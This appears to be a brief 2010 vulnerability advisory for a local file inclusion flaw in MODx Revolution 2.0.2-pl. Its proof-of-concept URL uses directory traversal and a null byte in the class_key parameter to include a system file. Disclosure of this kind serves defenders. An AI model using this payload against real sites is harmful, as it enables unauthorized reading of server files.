MODx Revolution version 2.0.2-pl suffers from a local file inclusion vulnerability.
f0c857dadc82c5b2cd16c92bfb910d9a469cfc167fa9238608cfe01d9ab4b5f8
------------------------------------------------------------------------
Software................MODx Revolution 2.0.2-pl
Vulnerability...........Local File Inclusion
Download................http://modxcms.com
Release Date............9/28/2010
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................John Leitch
Site....................http://www.johnleitch.net/
Email...................john.leitch5@gmail.com
------------------------------------------------------------------------
--Description--
A local file inclusion vulnerability in MODx Revolution 2.0.2-pl can
be exploited to include arbitrary files.
--PoC--
http://localhost/modx/manager/controllers/default/resource/tvs.php?class_key=../../../../../../../../../../windows/win.ini%00